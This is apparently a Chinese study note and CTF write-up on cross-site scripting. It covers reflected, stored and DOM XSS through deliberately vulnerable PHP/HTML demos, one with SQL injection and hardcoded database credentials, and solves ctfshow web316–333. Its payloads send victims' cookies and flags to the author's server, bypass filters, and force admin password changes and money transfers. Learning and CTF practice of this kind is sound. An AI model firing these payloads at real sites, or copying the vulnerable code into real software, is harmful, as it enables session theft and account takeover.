XSS 跨站脚本攻击
文章目录
What is XSS?
跨站脚本攻击(Cross site Scripting):将任意Javascript代码插入到其他web用户页面里执行达到攻击目的的漏洞
与其他漏洞的区别:其他漏洞是为了攻击网站的服务器和数据库,但是该漏洞是去攻击其他用户。
How to lead XSS?
攻击者通过Web应用程序发送恶意代码,一般以浏览器脚本的形式发送给不同的终端用户,当一个Web程序的用户输入点没有进行校验和编码,将很容易导致XSS漏洞
自己语言的转义:我认为就是在该网站中,比如说存在留言功能,然后攻击者留言了一段恶意代码,这段留言是别的用户也可以访问到的,在其他用户查看这段留言的时候服务器进行解析,导致执行一些危险行为,这个整段过程就是跨站脚本攻击
Where is the XSS?
- 数据交互的地方
get post cookies headers
反馈与浏览
富文本编辑器
各类标签插入和定义
- 数据输出的地方
用户资料
关键词标签说明
文件上传
一般在ctf中会存在bot机器人 就是明确说明 给一个网址 机器人去访问
Cookie
为了辨别用户身份而存储在客户端上的数据
获取Cookie:
浏览器端(客户端):document.cookie
服务器端(php):$_COOKIE
How to use XSS?
- 标签闭合逃逸
在界面审查元素我们可以发现输出的结果在p标签内 所以当我们搜索时把p标签闭合 就可以在网页插入其他代码
攻击逻辑:请求带出
在script标签中执行:
window.open #打开新窗口
window.location.href #当前界面跳转
location.href
window.open('http://your_ip:port/?cookie=' + btoa(document.cookie))
#btoa实现base64编码
#开启服务器监听 然后将构造的exp给机器人进行访问 从而获得更高权限用户的cookie
反射型XSS
输入什么界面返回什么
我们成功在服务器上部署了一个存在xss漏洞的代码:
<?php
$input = $_GET['input'];
if(isset($input)){
echo("<h1>".$input."<h1>");
}
else{
highlight_file(__FILE__);
}
?>
然后传参,其中参数中包含恶意代码:
http://154.8.183.198/attack/xsstest.php?input=<script>alert("111")</script>
成功弹窗
存储型XSS
存储在服务器中的数据库里面
服务器搭建一波:(不得不提 有自己的服务器太爽了吧哈哈哈 好多东西都立马清楚了 知道怎么实现的了)
首先在服务器创建mysql数据库用来存储信息
库名:xss
表名:message
字段名: id
username
message
varchar(255)
其中需要把id 设置为主键 并且自动增加不为空
当时这个在图形化界面中没有找到怎么设置 就单纯创建好主键后执行了sql语句
ALTER TABLE `message` CHANGE `id` `id` INT(11) NOT NULL AUTO_INCREMENT
到此基本的数据库搭建完成
下面进行基础网页的搭建
<meta charset="utf-8">
<?php
/*数据库信息配置*/
$host = "localhost"; //数据库地址
$port = "3306"; //数据库端口
$user = "ka1mi2CL"; //数据库用户名
$pwd = "gY8mgYWxRAdN"; //数据库密码
$dbname = "xss"; //数据库名
$conn = new mysqli($host,$user,$pwd,$dbname,$port);
?>
<!-- 前端用户输入表单 -->
<h1>留言板的存储型XSS</h1>
<form method="post">
<input type="text" name="username" placeholder="姓名">
<input type="text" name="message" placeholder="请输入您的留言">
<input type="submit">
</form>
<?php
/*直接将留言插入到数据库中*/
$username=$_POST['username'];
$message=$_POST['message'];
if($username and $message)
{
$sql="INSERT INTO `message`(`username`, `message`) VALUES ('{$username}','{$message}')";
if ($conn->query($sql) === TRUE) {
echo "留言成功"."<br>";
} else {
echo "Error: " . $sql . "<br>" . $conn->error;
}
}else{
echo "请填写完整信息"."<br>";
}
/*查询数据库中的留言信息*/
$sql = "SELECT username, message FROM message";
$result = $conn->query($sql);
if ($result->num_rows > 0) {
while($row = $result->fetch_assoc()) {
echo "用户名:" . $row["username"]. "留言内容:" . $row["message"]."<br>";
}
} else {
echo "暂无留言";
}
?>
添加
Dom-Based XSS
最后再来搭建一下基于dom的xss漏洞 其中dom就是指document html中的语法
首先这个东西就是因为代码写的没有验证用户的输入导致
全部发生在客户端 感觉和反射型有些类似哈
具体成因仿照咱们搭建的服务器:
<meta charset="UTF-8">
<script>
function xss(){
var str = document.getElementById("src").value;
document.getElementById("demo").innerHTML = "<img src='"+str+"' />";
}
</script>
<input type="text" id="src" size="50" placeholder="输入图片地址" />
<input type="button" value="插入" onclick="xss()" /><br>
<div id="demo" ></div>
在这个html文件中实现逻辑是:
用户在输入框中输入图片地址存储到str变量中 然后在xss()函数里面给id为demo的标签设置内容(innerHTML) 内容是加载图片,所以我们输入时放一个无法加载的图片,然后触发onerror事件,在这个事件里面可以触发弹窗,注意构造payload的时候一定要把img标签进行闭合
' onerror=alert("123")>
Then Lets see the XSS in CTF
主要是各种绕过姿势的利用,用自己服务器进行请求带出
此外一般在ctf赛题中,可以让我们输入的连接后台都会有一个robot去点击访问
然后我们需要获取的flag一般藏在后台机器人的登录信息中
各种过滤绕过学习
web316
写的很清楚 反射性XSS嘛
直接开我们的服务器,在服务器写一个恶意文件用于获取题目网站后台机器人请求时留下的信息
就是拿他登录时的cookie ,在这里有两种方法
一个是直接访问我们搭建在服务器的恶意文件,然后利用文件中写入文件的功能,将获取的cookie呈现在服务器文件中
payload:<script>document.location.href='http://xxx:7777/'+document.cookie</script>
另一个是不需要在服务器写内容了 直接是在向服务器发出请求的时候带上cookie 然后在服务器开启nc监听 将获取的请求包拦截可以查看
payload:<script>document.location.href='http://xxxx.xxxx.xxxx.xxxx/XSS.php?1='+document.cookie</script>
BUT: 刚把服务器搭建起来 用的是window的系统 实在太菜了还没能在linux中灵活调用 后面一定学习linux的搭建
所以我们使用第二个方法展开攻击:
在服务器上的恶意文件为:
<?php
$content = $_GET[1];
if(isset($content)){
//需要把我们获得的信息写入到我们的本地服务器
file_put_contents('flag.txt',$content);
}else{
echo 'no date input';
}
利用上的payload攻击
<script>document.location.href='http://154.8.183.198/attack/xss.php?1='+document.cookie</script>
成功生成flag文件 获得flag
可以看出 因为我们不是admin 所以我们访问时带的coolie作为参数是不符合的
但是我们上传的这个连接 后台身为管理员的机器人访问就会有admin的cookie信息啦
Web317-319
传入上题的payload 没反应 换一下标签
<body onload="window.open('http://154.8.183.198/attack/xss.php?1='+document.cookie)"></body>
Web319-321
过滤了空格
利用: /**/
或者 /
payload:<body/**/onload="window.open('http://154.8.183.198/attack/xss.php?1='+document.cookie)"></body>
Web322-326 (服力 这些题一个payload 浪费钱了555(
这个是在url中进行匹配 对xss进行过滤 所以我们只需要在服务器中修改一下我们文件名即可 改成x1ss 随意啦~
payload:
<body/**/onload="window.open('http://154.8.183.198/attack/x1ss.php?1='+document.cookie)"></body>
Web327
考点:存储型xss
解题:
和前面316题目一样 两种方法 一个是写文件 实现自动写入一个文件中 如下
前面写过了 不重复
第二种 nc带出 目前已经配置好了 所以介绍一下这个流程
我们在服务器安全组 开放18080这个端口 实现可以访问 然后在信的内容传入这个内容
payload:<script>document.location.href='http:xxx:18080'+document.cookie</script>
在自己的服务器上面开启监听18080端口
nc -lvnp 18080
成功监听到flag
Web328
考点:存储型 Cookie
解题:
发现管理员会看到用户名和密码 所以推测这里可能存在xss漏洞
我们的目的是获得管理员的登录信息
所以注册一个用户名有问题的payload
<script>document.location.href='http:xxx:18080'+document.cookie</script>
监听:nv -lvnp 18080
上面没打通 用文件
<script>document.location.href='http://xxx/111.php?1='+document.cookie</script>
<script>window.open('http:xxx:18080/'+document.cookie)</script>
上面的方法逻辑可能存在问题,这里就记录一下看着玩就好,下面是真正的解题步骤
首先进入之后,明显发现需要提升权限,鉴权的方式是cookie
同时这个界面显示的是用户名和密码仅管理员可见 所以想到通过用户名注入xss语句 反弹管理员的cookie
从而实现伪造登录
<script>document.location.href='http://xxx/111.php?1='+document.cookie</script>
其中111.php内容如下
<?php
$content = $_GET['a'];
echo(1);
if(isset($content)){
file_put_contents('flag.txt',$content);
echo('ok');
echo($content);
}else{
echo 'no date input';
}
其实查询语句中的参数1和a不一致没有任何影响,我们的目的是带出后面的document.cookie
这样之后 去我们服务器的log日志中查看结果 最好刷新 登录一下哈 可能稍微有点延迟
在access_log中
可以发现是题目的manager.php在不断请求,从而成功带出cookie
然后F12 改一下cookie中phpsessid的值刷新一下
注意这里会一闪而过flag 所以用bp记录一下
Web329
考点:存储型xss 提权
开题和上个界面相同
同样先拿个admin的cookie
但是发现提权失败 可能鉴权的方式不在cookie里面
那么我们既然能通过这种方式带出cookie 能不能直接带出flag呢
<script>$('.laytable-cell-1-0-1').each(function(index,value){if(value.innerHTML.indexOf('ctf'+'show{')>-1)
{window.location.href='http://xxx/111.php?1='+value.innerHTML;}});</script>
解释一下这个payload:
<script> $('.laytable-cell-1-0-1').each(function(index, value) { if (value.innerHTML.indexOf('ctf' + 'show{') > -1) { window.location.href = 'http://xxx/111.php?1=' + value.innerHTML; } }); </script>
$('.laytable-cell-1-0-1')
:
- 通过jQuery选择所有具有类名
laytable-cell-1-0-1
的元素。$('.className')
是 jQuery 的选择器语法,用于选择HTML页面中所有带有指定类名的元素。
.each(function(index, value) { ... })
:
- 对于选择到的每一个元素,执行提供的回调函数。
index
是当前迭代的索引(从0开始)。value
是当前迭代的DOM元素。
if (value.innerHTML.indexOf('ctf' + 'show{') > -1)
:
- 检查当前元素的内部HTML (
innerHTML
) 是否包含字符串'ctfshow{'
。- 由于字符串
'ctf' + 'show{'
会在运行时被连接成'ctfshow{'
,这种方式通常用来避免简单的字符串匹配检测(如过滤器)。
window.location.href = 'http://xxx/111.php?1=' + value.innerHTML;
:
- 如果条件成立(即
innerHTML
包含字符串'ctfshow{'
),则将浏览器重定向到http://xxx/111.php
,并在URL中附加查询参数1
,其值为当前元素的innerHTML
。- 例如,如果
value.innerHTML
是'ctfshow{example}'
,浏览器将被重定向到http://xxx/111.php?1=ctfshow{example}
。
同样在log日志中成功查到
Web330-331
考点:存储型xss 越权操作
解题:
这两个题相比之前的题目多了一个功能点,修改密码
所以利用逻辑就是通过admin用户自动执行我们传入的用户名的恶意代码,从而相当于在admin自己的界面调用修改密码的接口
在330中
get传参 参数p
管理员本地靶场127.0.0.1
<script>document.location.href='http://127.0.0.1/api/change.php?p=123'</script>
注册用户名修改后密码为123 直接登录即可 他会很快跳转 所以要在bp中找
在331中
我们自己尝试修改密码 抓到包 发现POST传参 参数是p
从而写一个payload
<script>$.ajax({url:'api/change.php',type:'post',data:{p:123}});</script>
解释payload
$.ajax({ ... })
:
- jQuery的
$.ajax
方法用于发起一个异步的HTTP请求(AJAX请求)。它可以发送GET、POST等类型的请求,并允许我们处理响应数据。- 该方法接收一个配置对象作为参数,其中包含各种设置和回调函数。
url: 'api/change.php'
:
- 指定请求的目标URL,即
api/change.php
。这意味着请求会发送到当前网站的api
目录下的change.php
文件。
type: 'post'
:
- 指定请求的类型为POST。除了POST,还可以是GET、PUT、DELETE等HTTP方法。
data: { p: 123 }
:
- 指定发送到服务器的数据。这里是一个包含单个键值对的对象,键为
p
,值为123
。- 这意味着请求中会包含一个名为
p
的参数,其值为123
。
这样传入后 admin自动修改密码为123
直接登录就好
web332-333
考点:xss 越权操作
功能点明显变多了
需要指定钱数购买flag
那么钱从哪来了 必然是管理员 所以还是和修改密码类似 上面是让管理员修改自己的密码 这次是让管理员给我们赚钱
首先还是抓一下接口
可以发现POST传参 两个参数
构造payload 注意这个url路径一定要写全尤其是api前面的斜杠
<script>$.ajax({url:'/api/amount.php',type:'post',data:{u:'hhh',a:10000}});</script>
还有一种逻辑
因为可以不断创建新用户 且每个用户用5元初始 所以可以写脚本不断执行这个过程
两题完全一样